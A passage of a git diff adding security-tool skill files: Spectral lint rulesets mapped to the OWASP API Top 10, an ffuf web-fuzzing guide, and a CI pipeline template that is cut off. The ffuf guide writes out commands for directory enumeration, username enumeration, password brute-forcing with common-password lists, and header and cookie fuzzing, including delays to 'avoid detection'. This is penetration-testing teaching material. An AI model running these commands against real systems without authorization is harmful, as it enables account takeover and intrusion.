HTML, XML, or form-encoded content types" +``` + +### Validate JWT Security Configuration + +```yaml +jwt-proper-configuration: + description: JWT bearer authentication should be properly configured + severity: error + given: $.components.securitySchemes[?(@.type == 'http' && @.scheme == 'bearer')] + then: + - field: bearerFormat + function: pattern + functionOptions: + match: "^JWT$" + message: "Bearer authentication should specify 'JWT' as bearerFormat" +``` + +### Require CORS Documentation + +```yaml +cors-options-documented: + description: CORS preflight endpoints should be documented + severity: warn + given: $.paths[*] + then: + function: schema + functionOptions: + schema: + type: object + if: + properties: + get: + type: object + then: + properties: + options: + type: object + required: [responses] + message: "Document OPTIONS method for CORS preflight requests" +``` + +### Prevent Numeric IDs in URLs + +```yaml +prefer-uuid-over-numeric-ids: + description: Use UUIDs instead of numeric IDs to prevent enumeration + severity: info + given: $.paths.*~ + then: + function: pattern + functionOptions: + notMatch: "\\{id\\}|\\{.*_id\\}" + message: "Consider using UUIDs instead of numeric IDs to prevent enumeration attacks" +``` + +## Testing Custom Rules + +### Create Test Specifications + +```yaml +# test-specs/valid-auth.yaml +openapi: 3.0.0 +info: + title: Valid API + version: 1.0.0 +components: + securitySchemes: + apiKey: + type: apiKey + in: header + name: X-API-Key +security: + - apiKey: [] +``` + +```yaml +# test-specs/invalid-auth.yaml +openapi: 3.0.0 +info: + title: Invalid API + version: 1.0.0 +components: + securitySchemes: + basicAuth: + type: http + scheme: basic +security: + - basicAuth: [] +``` + +### Test Rules + +```bash +# Test custom ruleset +spectral lint test-specs/valid-auth.yaml --ruleset .spectral-custom.yaml + +# Expected: No errors + +spectral lint test-specs/invalid-auth.yaml --ruleset .spectral-custom.yaml + +# Expected: Error about HTTP Basic auth +``` + +### Automated Testing Script + +```bash +#!/bin/bash +# test-rules.sh - Test custom Spectral rules + +RULESET=".spectral-custom.yaml" +TEST_DIR="test-specs" +PASS=0 +FAIL=0 + +for spec in "$TEST_DIR"/*.yaml; do + echo "Testing: $spec" + + if spectral lint "$spec" --ruleset "$RULESET" > /dev/null 2>&1; then + if [[ "$spec" == *"valid"* ]]; then + echo " ✓ PASS (correctly validated)" + ((PASS++)) + else + echo " ✗ FAIL (should have detected issues)" + ((FAIL++)) + fi + else + if [[ "$spec" == *"invalid"* ]]; then + echo " ✓ PASS (correctly detected issues)" + ((PASS++)) + else + echo " ✗ FAIL (false positive)" + ((FAIL++)) + fi + fi +done + +echo "" +echo "Results: $PASS passed, $FAIL failed" +``` + +## Best Practices + +### 1. Start with Built-in Rules + +Extend existing rulesets instead of starting from scratch: + +```yaml +extends: ["spectral:oas", "spectral:asyncapi"] + +rules: + # Add custom rules here + custom-security-rule: + # ... +``` + +### 2. Use Descriptive Names + +Rule names should clearly indicate what they check: + +```yaml +# Good +no-pii-in-query-params: +require-https-servers: +jwt-bearer-format-required: + +# Bad +check-params: +security-rule-1: +validate-auth: +``` + +### 3. Provide Actionable Messages + +```yaml +# Good +message: "Query parameters must not contain PII (ssn, credit_card) - use request body instead" + +# Bad +message: "Invalid parameter" +``` + +### 4. Choose Appropriate Severity + +```yaml +# error - Must fix (security vulnerabilities) +severity: error + +# warn - Should fix (security best practices) +severity: warn + +# info - Consider fixing (recommendations) +severity: info + +# hint - Nice to have (style guide) +severity: hint +``` + +### 5. Document Rule Rationale + +```yaml +rules: + no-numeric-ids: + description: | + Use UUIDs instead of auto-incrementing numeric IDs in URLs to prevent + enumeration attacks where attackers can guess valid IDs sequentially. + This follows OWASP API Security best practices for API1:2023. + severity: warn + # ... +``` + +### 6. Use Rule Overrides for Exceptions + +```yaml +# Allow specific paths to violate rules +overrides: + - files: ["**/internal-api.yaml"] + rules: + require-https-servers: off + + - files: ["**/admin-api.yaml"] + rules: + no-http-basic-auth: warn # Downgrade to warning +``` + +### 7. Organize Rules by Category + +```yaml +# .spectral.yaml - Main ruleset +extends: + - .spectral-auth.yaml # Authentication rules + - .spectral-authz.yaml # Authorization rules + - .spectral-data.yaml # Data protection rules + - .spectral-owasp.yaml # OWASP mappings +``` + +### 8. Version Control Your Rulesets + +```bash +# Track ruleset evolution +git log -p .spectral.yaml + +# Tag stable ruleset versions +git tag -a ruleset-v1.0 -m "Production-ready security ruleset" +``` + +## Additional Resources + +- [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md) +- [JSONPath Online Evaluator](https://jsonpath.com/) +- [Custom Functions Guide](./custom_functions.md) +- [OWASP API Security Mappings](./owasp_api_mappings.md) diff --git a/skills/appsec/api-spectral/references/owasp_api_mappings.md b/skills/appsec/api-spectral/references/owasp_api_mappings.md new file mode 100644 index 0000000..dacbc24 --- /dev/null +++ b/skills/appsec/api-spectral/references/owasp_api_mappings.md @@ -0,0 +1,472 @@ +# OWASP API Security Top 10 2023 - Spectral Rule Mappings + +This reference provides comprehensive Spectral rule mappings to OWASP API Security Top 10 2023, including custom rule examples for detecting each category of vulnerability. + +## Table of Contents + +- [API1:2023 - Broken Object Level Authorization](#api12023---broken-object-level-authorization) +- [API2:2023 - Broken Authentication](#api22023---broken-authentication) +- [API3:2023 - Broken Object Property Level Authorization](#api32023---broken-object-property-level-authorization) +- [API4:2023 - Unrestricted Resource Consumption](#api42023---unrestricted-resource-consumption) +- [API5:2023 - Broken Function Level Authorization](#api52023---broken-function-level-authorization) +- [API6:2023 - Unrestricted Access to Sensitive Business Flows](#api62023---unrestricted-access-to-sensitive-business-flows) +- [API7:2023 - Server Side Request Forgery](#api72023---server-side-request-forgery) +- [API8:2023 - Security Misconfiguration](#api82023---security-misconfiguration) +- [API9:2023 - Improper Inventory Management](#api92023---improper-inventory-management) +- [API10:2023 - Unsafe Consumption of APIs](#api102023---unsafe-consumption-of-apis) + +--- + +## API1:2023 - Broken Object Level Authorization + +**Description**: APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface Level Access Control issue. Object level authorization checks should be considered in every function that accesses a data source using an input from the user. + +### Spectral Rules + +```yaml +# .spectral-api1.yaml +rules: + # Require security on all operations + operation-security-defined: + description: All operations must have security requirements (OWASP API1) + severity: error + given: $.paths[*][get,post,put,patch,delete] + then: + - field: security + function: truthy + message: "Operations must define security requirements to prevent unauthorized object access (OWASP API1:2023)" + + # Detect ID parameters without authorization checks + id-parameter-requires-security: + description: Operations with ID parameters must have security defined + severity: error + given: $.paths[*][*].parameters[?(@.name =~ /^(id|.*[_-]id)$/i)] + then: + function: falsy + message: "Path contains ID parameter - ensure operation has security requirements (OWASP API1:2023)" + + # Require authorization scopes for CRUD operations + crud-requires-authorization-scope: + description: CRUD operations should specify authorization scopes + severity: warn + given: $.paths[*][get,post,put,patch,delete].security[*] + then: + function: schema + functionOptions: + schema: + type: object + minProperties: 1 + message: "CRUD operations should specify authorization scopes (OWASP API1:2023)" +``` + +### Remediation + +- Implement object-level authorization checks in API specification security requirements +- Define per-operation security schemes with appropriate scopes +- Document which user roles can access which objects +- Consider using OAuth 2.0 with fine-grained scopes + +--- + +## API2:2023 - Broken Authentication + +**Description**: Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or exploit implementation flaws to assume other users' identities. + +### Spectral Rules + +```yaml +# .spectral-api2.yaml +rules: + # Require security schemes definition + security-schemes-required: + description: API must define security schemes (OWASP API2) + severity: error + given: $.components + then: + - field: securitySchemes + function: truthy + message: "API must define security schemes to prevent authentication bypass (OWASP API2:2023)" + + # Prohibit HTTP Basic authentication + no-http-basic-auth: + description: HTTP Basic auth is insecure for APIs + severity: error + given: $.components.securitySchemes[*] + then: + - field: scheme + function: pattern + functionOptions: + notMatch: "^basic$" + message: "HTTP Basic authentication transmits credentials in plain text (OWASP API2:2023)" + + # Require bearer token format specification + bearer-format-required: + description: Bearer authentication should specify token format (JWT recommended) + severity: warn + given: $.components.securitySchemes[?(@.type == 'http' && @.scheme == 'bearer')] + then: + - field: bearerFormat + function: truthy + message: "Bearer authentication should specify token format, preferably JWT (OWASP API2:2023)" + + # Require OAuth2 flow for authentication + oauth2-recommended: + description: OAuth2 provides secure authentication flows + severity: info + given: $.components.securitySchemes[*] + then: + - field: type + function: enumeration + functionOptions: + values: [oauth2, openIdConnect, http] + message: "Consider using OAuth2 or OpenID Connect for robust authentication (OWASP API2:2023)" +``` + +### Remediation + +- Use OAuth 2.0 or OpenID Connect for authentication +- Implement JWT with proper expiration and signature validation +- Avoid HTTP Basic authentication for production APIs +- Document authentication flows and token refresh mechanisms + +--- + +## API3:2023 - Broken Object Property Level Authorization + +**Description**: This category combines API3:2019 Excessive Data Exposure and API6:2019 Mass Assignment, focusing on the root cause: the lack of or improper authorization validation at the object property level. + +### Spectral Rules + +```yaml +# .spectral-api3.yaml +rules: + # Prohibit additionalProperties for security + no-additional-properties: + description: Prevent mass assignment by disabling additionalProperties + severity: warn + given: $.components.schemas[*] + then: + - field: additionalProperties + function: falsy + message: "Set additionalProperties to false to prevent mass assignment vulnerabilities (OWASP API3:2023)" + + # Require explicit property definitions + schema-properties-required: + description: Schemas should explicitly define all properties + severity: warn + given: $.components.schemas[?(@.type == 'object')] + then: + - field: properties + function: truthy + message: "Explicitly define all object properties to control data exposure (OWASP API3:2023)" + + # Warn on write-only properties + detect-write-only-properties: + description: Document write-only properties to prevent data exposure + severity: info + given: $.components.schemas[*].properties[*] + then: + - field: writeOnly + function: truthy + message: "Ensure write-only properties are properly handled (OWASP API3:2023)" + + # Require read-only for sensitive computed fields + computed-fields-read-only: + description: Computed fields should be marked as readOnly + severity: warn + given: $.components.schemas[*].properties[?(@.description =~ /calculated|computed|derived/i)] + then: + - field: readOnly + function: truthy + message: "Mark computed/calculated fields as readOnly (OWASP API3:2023)" +``` + +### Remediation + +- Set `additionalProperties: false` in schemas to prevent mass assignment +- Use `readOnly` for properties that shouldn't be modified by clients +- Use `writeOnly` for sensitive input properties (passwords, tokens) +- Document which properties are accessible to which user roles + +--- + +## API4:2023 - Unrestricted Resource Consumption + +**Description**: Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Sometimes required resources are made available by service providers via API integrations, and paid for per request, such as sending emails/SMS/phone calls, biometrics validation, etc. + +### Spectral Rules + +```yaml +# .spectral-api4.yaml +rules: + # Require rate limit documentation + rate-limit-headers-documented: + description: API should document rate limiting headers + severity: warn + given: $.paths[*][*].responses[*].headers + then: + function: schema + functionOptions: + schema: + type: object + properties: + X-RateLimit-Limit: + type: object + X-RateLimit-Remaining: + type: object + message: "Document rate limiting headers (X-RateLimit-*) to communicate consumption limits (OWASP API4:2023)" + + # Detect pagination parameters + pagination-required: + description: List operations should support pagination + severity: warn + given: $.paths[*].get.parameters + then: + function: schema + functionOptions: + schema: + type: array + contains: + anyOf: + - properties: + name: + const: limit + - properties: + name: + const: offset + message: "List operations should support pagination (limit/offset or cursor) to prevent resource exhaustion (OWASP API4:2023)" + + # Maximum response size documentation + response-size-limits: + description: Document maximum response sizes + severity: info + given: $.paths[*][*].responses[*] + then: + - field: description + function: pattern + functionOptions: + match: "(maximum|max|limit).*(size|length|count)" + message: "Consider documenting maximum response sizes (OWASP API4:2023)" +``` + +### Remediation + +- Implement rate limiting and document limits in API specification +- Use pagination for all list operations (limit/offset or cursor-based) +- Document maximum request/response sizes +- Implement request timeout and maximum execution time limits + +--- + +## API8:2023 - Security Misconfiguration + +**Description**: APIs and the systems supporting them typically contain complex configurations, meant to make the APIs more customizable. Software and DevOps engineers can miss these configurations, or don't follow security best practices when it comes to configuration, opening the door for different types of attacks. + +### Spectral Rules + +```yaml +# .spectral-api8.yaml +rules: + # Require HTTPS for all servers + servers-use-https: + description: All API servers must use HTTPS + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + match: "^https://" + message: "Server URLs must use HTTPS protocol for secure communication (OWASP API8:2023)" + + # Detect example.com in server URLs + no-example-servers: + description: Replace example server URLs with actual endpoints + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + notMatch: "example\\.com" + message: "Replace example.com with actual server URL (OWASP API8:2023)" + + # Require security headers documentation + security-headers-documented: + description: Document security headers in responses + severity: warn + given: $.paths[*][*].responses[*].headers + then: + function: schema + functionOptions: + schema: + type: object + anyOf: + - required: [X-Content-Type-Options] + - required: [X-Frame-Options] + - required: [Strict-Transport-Security] + message: "Document security headers (X-Content-Type-Options, X-Frame-Options, HSTS) in responses (OWASP API8:2023)" + + # CORS configuration review + cors-documented: + description: CORS should be properly configured and documented + severity: info + given: $.paths[*].options + then: + - field: responses + function: truthy + message: "Ensure CORS is properly configured - review Access-Control-* headers (OWASP API8:2023)" +``` + +### Remediation + +- Use HTTPS for all API endpoints +- Configure and document security headers (HSTS, X-Content-Type-Options, X-Frame-Options) +- Properly configure CORS with specific origins (avoid wildcard in production) +- Disable unnecessary HTTP methods +- Remove verbose error messages in production + +--- + +## API9:2023 - Improper Inventory Management + +**Description**: APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. A proper inventory of hosts and deployed API versions also are important to mitigate issues such as deprecated API versions and exposed debug endpoints. + +### Spectral Rules + +```yaml +# .spectral-api9.yaml +rules: + # Require API version + api-version-required: + description: API specification must include version + severity: error + given: $.info + then: + - field: version + function: truthy + message: "API version must be specified for proper inventory management (OWASP API9:2023)" + + # Version format validation + semantic-versioning: + description: Use semantic versioning for API versions + severity: warn + given: $.info.version + then: + function: pattern + functionOptions: + match: "^\\d+\\.\\d+\\.\\d+" + message: "Use semantic versioning (MAJOR.MINOR.PATCH) for API versions (OWASP API9:2023)" + + # Require contact information + contact-info-required: + description: API must include contact information + severity: warn + given: $.info + then: + - field: contact + function: truthy + message: "Include contact information for API support and security issues (OWASP API9:2023)" + + # Require terms of service or license + legal-info-required: + description: API should include legal information + severity: info + given: $.info + then: + - field: license + function: truthy + message: "Include license or terms of service for API usage (OWASP API9:2023)" + + # Deprecation documentation + deprecated-endpoints-documented: + description: Deprecated endpoints must be clearly marked + severity: warn + given: $.paths[*][*][?(@.deprecated == true)] + then: + - field: description + function: pattern + functionOptions: + match: "(deprecate|migrate|alternative|replacement)" + message: "Document deprecation details and migration path (OWASP API9:2023)" +``` + +### Remediation + +- Maintain up-to-date API specification with version information +- Use semantic versioning for API versions +- Document all endpoints, including internal and deprecated ones +- Include contact information for security issues +- Implement API inventory management and discovery tools +- Remove or properly secure debug/admin endpoints in production + +--- + +## Complete OWASP Ruleset Example + +```yaml +# .spectral-owasp-complete.yaml +extends: ["spectral:oas"] + +rules: + # API1: Broken Object Level Authorization + operation-security-defined: + severity: error + message: "All operations must have security defined (OWASP API1:2023)" + + # API2: Broken Authentication + no-http-basic-auth: + description: Prohibit HTTP Basic authentication + severity: error + given: $.components.securitySchemes[*] + then: + field: scheme + function: pattern + functionOptions: + notMatch: "^basic$" + message: "HTTP Basic auth is insecure (OWASP API2:2023)" + + # API3: Broken Object Property Level Authorization + no-additional-properties: + description: Prevent mass assignment + severity: warn + given: $.components.schemas[?(@.type == 'object')] + then: + field: additionalProperties + function: falsy + message: "Set additionalProperties to false (OWASP API3:2023)" + + # API4: Unrestricted Resource Consumption + pagination-for-lists: + description: List operations should support pagination + severity: warn + given: $.paths[*].get + then: + function: truthy + message: "Implement pagination for list operations (OWASP API4:2023)" + + # API8: Security Misconfiguration + servers-use-https: + description: All servers must use HTTPS + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + match: "^https://" + message: "Server URLs must use HTTPS (OWASP API8:2023)" + + # API9: Improper Inventory Management + api-version-required: + description: API must specify version + severity: error + given: $.info + then: + field: version + function: truthy + message: "API version is required (OWASP API9:2023)" +``` + +## Additional Resources + +- [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x11-t10/) +- [Spectral Rulesets Documentation](https://docs.stoplight.io/docs/spectral/docs/getting-started/rulesets.md) +- [OpenAPI Security Best Practices](https://swagger.io/docs/specification/authentication/) diff --git a/skills/appsec/dast-ffuf/SKILL.md b/skills/appsec/dast-ffuf/SKILL.md new file mode 100644 index 0000000..8613512 --- /dev/null +++ b/skills/appsec/dast-ffuf/SKILL.md @@ -0,0 +1,476 @@ +--- +name: dast-ffuf +description: > + Fast web fuzzer for DAST testing with directory enumeration, parameter fuzzing, and virtual host + discovery. Written in Go for high-performance HTTP fuzzing with extensive filtering capabilities. + Supports multiple fuzzing modes (clusterbomb, pitchfork, sniper) and recursive scanning. Use when: + (1) Discovering hidden directories, files, and endpoints on web applications, (2) Fuzzing GET and + POST parameters to identify injection vulnerabilities, (3) Enumerating virtual hosts and subdomains, + (4) Testing authentication endpoints with credential fuzzing, (5) Finding backup files and sensitive + data exposures, (6) Performing comprehensive web application reconnaissance. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [dast, fuzzing, web-fuzzer, directory-enumeration, parameter-fuzzing, vhost-discovery, ffuf, reconnaissance] +frameworks: [OWASP] +dependencies: + tools: [ffuf] +references: + - https://github.com/ffuf/ffuf +--- + +# ffuf - Fast Web Fuzzer + +## Overview + +ffuf is a fast web fuzzer written in Go designed for discovering hidden resources, testing parameters, and performing comprehensive web application reconnaissance. It uses the FUZZ keyword as a placeholder for wordlist entries and supports advanced filtering, multiple fuzzing modes, and recursive scanning for thorough security assessments. + +## Installation + +```bash +# Using Go +go install github.com/ffuf/ffuf/v2@latest + +# Using package managers +# Debian/Ubuntu +apt install ffuf + +# macOS +brew install ffuf + +# Or download pre-compiled binary from GitHub releases +``` + +## Quick Start + +Basic directory fuzzing: + +```bash +# Directory discovery +ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt + +# File discovery with extension +ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt + +# Virtual host discovery +ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt +``` + +## Core Workflows + +### Workflow 1: Directory and File Enumeration + +For discovering hidden resources on web applications: + +1. Start with common directory wordlist: + ```bash + ffuf -u https://target.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/common.txt \ + -mc 200,204,301,302,307,401,403 \ + -o results.json + ``` +2. Review discovered directories (focus on 200, 403 status codes) +3. Enumerate files in discovered directories: + ```bash + ffuf -u https://target.com/admin/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt \ + -e .php,.bak,.txt,.zip \ + -mc all -fc 404 + ``` +4. Use recursive mode for deep enumeration: + ```bash + ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -recursion -recursion-depth 2 \ + -e .php,.html \ + -v + ``` +5. Document findings and test discovered endpoints + +### Workflow 2: Parameter Fuzzing (GET/POST) + +Progress: +[ ] 1. Identify target endpoint for parameter testing +[ ] 2. Fuzz GET parameter names to discover hidden parameters +[ ] 3. Fuzz parameter values for injection vulnerabilities +[ ] 4. Test POST parameters with JSON/form data +[ ] 5. Apply appropriate filters to reduce false positives +[ ] 6. Analyze responses for anomalies and vulnerabilities +[ ] 7. Validate findings manually +[ ] 8. Document vulnerable parameters and payloads + +Work through each step systematically. Check off completed items. + +**GET Parameter Name Fuzzing:** +```bash +ffuf -u https://target.com/api?FUZZ=test \ + -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ + -fs 0 # Filter out empty responses +``` + +**GET Parameter Value Fuzzing:** +```bash +ffuf -u https://target.com/api?id=FUZZ \ + -w payloads.txt \ + -mc all +``` + +**POST Data Fuzzing:** +```bash +# Form data +ffuf -u https://target.com/login \ + -X POST \ + -d "username=admin&password=FUZZ" \ + -w passwords.txt \ + -H "Content-Type: application/x-www-form-urlencoded" + +# JSON data +ffuf -u https://target.com/api/login \ + -X POST \ + -d '{"username":"admin","password":"FUZZ"}' \ + -w passwords.txt \ + -H "Content-Type: application/json" +``` + +### Workflow 3: Virtual Host and Subdomain Discovery + +For identifying virtual hosts and subdomains: + +1. Prepare subdomain wordlist (or use SecLists) +2. Run vhost fuzzing: + ```bash + ffuf -u https://target.com \ + -H "Host: FUZZ.target.com" \ + -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ + -fs 0 # Filter by response size to identify valid vhosts + ``` +3. Filter results by comparing response sizes/words +4. Verify discovered vhosts manually +5. Enumerate directories on each vhost +6. Document vhost configurations and exposed services + +### Workflow 4: Authentication Endpoint Fuzzing + +For testing login forms and authentication mechanisms: + +1. Identify authentication endpoint +2. Fuzz usernames: + ```bash + ffuf -u https://target.com/login \ + -X POST \ + -d "username=FUZZ&password=test123" \ + -w usernames.txt \ + -H "Content-Type: application/x-www-form-urlencoded" \ + -mr "Invalid password|Incorrect password" # Match responses indicating valid user + ``` +3. For identified users, fuzz passwords: + ```bash + ffuf -u https://target.com/login \ + -X POST \ + -d "username=admin&password=FUZZ" \ + -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \ + -H "Content-Type: application/x-www-form-urlencoded" \ + -fc 401,403 # Filter failed attempts + ``` +4. Use clusterbomb mode for combined username/password fuzzing: + ```bash + ffuf -u https://target.com/login \ + -X POST \ + -d "username=FUZZ1&password=FUZZ2" \ + -w usernames.txt:FUZZ1 \ + -w passwords.txt:FUZZ2 \ + -mode clusterbomb + ``` + +### Workflow 5: Backup and Sensitive File Discovery + +For finding exposed backup files and sensitive data: + +1. Create wordlist of common backup patterns +2. Fuzz for backup files: + ```bash + ffuf -u https://target.com/FUZZ \ + -w backup-files.txt \ + -e .bak,.backup,.old,.zip,.tar.gz,.sql,.7z \ + -mc 200 \ + -o backup-files.json + ``` +3. Test common sensitive file locations: + ```bash + ffuf -u https://target.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/sensitive-files.txt \ + -mc 200,403 + ``` +4. Download and analyze discovered files +5. Report findings with severity classification + +## Fuzzing Modes + +ffuf supports multiple fuzzing modes for different attack scenarios: + +**Clusterbomb Mode** - Cartesian product of all wordlists (default): +```bash +ffuf -u https://target.com/FUZZ1/FUZZ2 \ + -w dirs.txt:FUZZ1 \ + -w files.txt:FUZZ2 \ + -mode clusterbomb +``` +Tests every combination: dir1/file1, dir1/file2, dir2/file1, dir2/file2 + +**Pitchfork Mode** - Parallel iteration of wordlists: +```bash +ffuf -u https://target.com/login \ + -X POST \ + -d "username=FUZZ1&password=FUZZ2" \ + -w users.txt:FUZZ1 \ + -w passwords.txt:FUZZ2 \ + -mode pitchfork +``` +Tests pairs: user1/pass1, user2/pass2 (stops at shortest wordlist) + +**Sniper Mode** - One wordlist, multiple positions: +```bash +ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -mode sniper +``` +Standard single-wordlist fuzzing. + +## Filtering and Matching + +Effective filtering is crucial for reducing noise: + +**Match Filters** (only show matching): +- `-mc 200,301` - Match HTTP status codes +- `-ms 1234` - Match response size +- `-mw 100` - Match word count +- `-ml 50` - Match line count +- `-mr "success|admin"` - Match regex pattern in response + +**Filter Options** (exclude matching): +- `-fc 404,403` - Filter status codes +- `-fs 0,1234` - Filter response sizes +- `-fw 0` - Filter word count +- `-fl 0` - Filter line count +- `-fr "error|not found"` - Filter regex pattern + +**Auto-Calibration:** +```bash +# Automatically filter baseline responses +ffuf -u https://target.com/FUZZ -w wordlist.txt -ac +``` + +## Common Patterns + +### Pattern 1: API Endpoint Discovery + +Discover REST API endpoints: + +```bash +# Enumerate API paths +ffuf -u https://api.target.com/v1/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ + -mc 200,201,401,403 \ + -o api-endpoints.json + +# Fuzz API versions +ffuf -u https://api.target.com/FUZZ/users \ + -w <(seq 1 10 | sed 's/^/v/') \ + -mc 200 +``` + +### Pattern 2: Extension Fuzzing + +Test multiple file extensions: + +```bash +# Brute-force extensions on known files +ffuf -u https://target.com/admin.FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \ + -mc 200 + +# Or use -e flag for multiple extensions +ffuf -u https://target.com/FUZZ \ + -w filenames.txt \ + -e .php,.asp,.aspx,.jsp,.html,.bak,.txt +``` + +### Pattern 3: Rate-Limited Fuzzing + +Respect rate limits and avoid detection: + +```bash +# Add delay between requests +ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -p 0.5-1.0 # Random delay 0.5-1.0 seconds + +# Limit concurrent requests +ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -t 5 # Only 5 concurrent threads +``` + +### Pattern 4: Custom Header Fuzzing + +Fuzz HTTP headers for security misconfigurations: + +```bash +# Fuzz custom headers +ffuf -u https://target.com/admin \ + -w headers.txt:HEADER \ + -H "HEADER: true" \ + -mc all + +# Fuzz header values +ffuf -u https://target.com/admin \ + -H "X-Forwarded-For: FUZZ" \ + -w /usr/share/seclists/Fuzzing/IPs.txt \ + -mc 200 +``` + +### Pattern 5: Cookie Fuzzing + +Test cookie-based authentication and session management: + +```bash +# Fuzz cookie values +ffuf -u https://target.com/dashboard \ + -b "session=FUZZ" \ + -w session-tokens.txt \ + -mc 200 + +# Fuzz cookie names +ffuf -u https://target.com/admin \ + -b "FUZZ=admin" \ + -w cookie-names.txt +``` + +## Output Formats + +Save results in multiple formats: + +```bash +# JSON output (recommended for parsing) +ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.json -of json + +# CSV output +ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.csv -of csv + +# HTML report +ffuf -u https://target.com/FUZZ -w wordlist.txt -o results.html -of html + +# All formats +ffuf -u https://target.com/FUZZ -w wordlist.txt -o results -of all +``` + +## Security Considerations + +- **Sensitive Data Handling**: Discovered files may contain credentials, API keys, or PII. Handle findings securely and report responsibly +- **Access Control**: Only fuzz applications with proper authorization. Obtain written permission before testing third-party systems +- **Audit Logging**: Log all fuzzing activities including targets, wordlists used, and findings for compliance and audit trails +- **Compliance**: Ensure fuzzing activities comply with bug bounty program rules, penetration testing agreements, and legal requirements +- **Safe Defaults**: Use reasonable rate limits to avoid DoS conditions. Start with small wordlists before scaling up + +## Integration Points + +### Reconnaissance Workflow + +1. Subdomain enumeration (amass, subfinder) +2. Port scanning (nmap) +3. Service identification +4. **ffuf directory/file enumeration** +5. Content discovery and analysis +6. Vulnerability scanning + +### CI/CD Security Testing + +Integrate ffuf into automated security pipelines: + +```bash +# CI/CD script +#!/bin/bash +set -e + +# Run directory enumeration +ffuf -u https://staging.example.com/FUZZ \ + -w /wordlists/common.txt \ + -mc 200,403 \ + -o ffuf-results.json \ + -of json + +# Parse results and fail if sensitive files found +if grep -q "/.git/\|/backup/" ffuf-results.json; then + echo "ERROR: Sensitive files exposed!" + exit 1 +fi +``` + +### Integration with Burp Suite + +1. Use Burp to identify target endpoints +2. Export interesting requests +3. Convert to ffuf commands for automated fuzzing +4. Import ffuf results back to Burp for manual testing + +## Troubleshooting + +### Issue: Too Many False Positives + +**Solution**: Use auto-calibration or manual filtering: +```bash +# Auto-calibration +ffuf -u https://target.com/FUZZ -w wordlist.txt -ac + +# Manual filtering by size +ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234,5678 +``` + +### Issue: Rate Limiting or Blocking + +**Solution**: Reduce concurrency and add delays: +```bash +ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -t 1 \ + -p 2.0 \ + -H "User-Agent: Mozilla/5.0..." +``` + +### Issue: Large Wordlist Takes Too Long + +**Solution**: Start with smaller, targeted wordlists: +```bash +# Use top 1000 instead of full list +head -1000 /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt > small.txt +ffuf -u https://target.com/FUZZ -w small.txt +``` + +### Issue: Missing Discovered Content + +**Solution**: Test with multiple extensions and match codes: +```bash +ffuf -u https://target.com/FUZZ \ + -w wordlist.txt \ + -e .php,.html,.txt,.asp,.aspx,.jsp \ + -mc all \ + -fc 404 +``` + +## OWASP Testing Integration + +Map ffuf usage to OWASP Testing Guide categories: + +- **WSTG-CONF-04**: Review Old Backup and Unreferenced Files +- **WSTG-CONF-05**: Enumerate Infrastructure and Application Admin Interfaces +- **WSTG-CONF-06**: Test HTTP Methods +- **WSTG-IDENT-01**: Test Role Definitions (directory enumeration) +- **WSTG-ATHZ-01**: Test Directory Traversal/File Include +- **WSTG-INPVAL-01**: Test for Reflected Cross-site Scripting +- **WSTG-INPVAL-02**: Test for Stored Cross-site Scripting + +## References + +- [ffuf GitHub Repository](https://github.com/ffuf/ffuf) +- [SecLists Wordlists](https://github.com/danielmiessler/SecLists) +- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) diff --git a/skills/appsec/dast-ffuf/assets/.gitkeep b/skills/appsec/dast-ffuf/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/dast-ffuf/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/dast-ffuf/assets/ci-config-template.yml b/skills/appsec/dast-ffuf/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/appsec/dast-ffuf/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 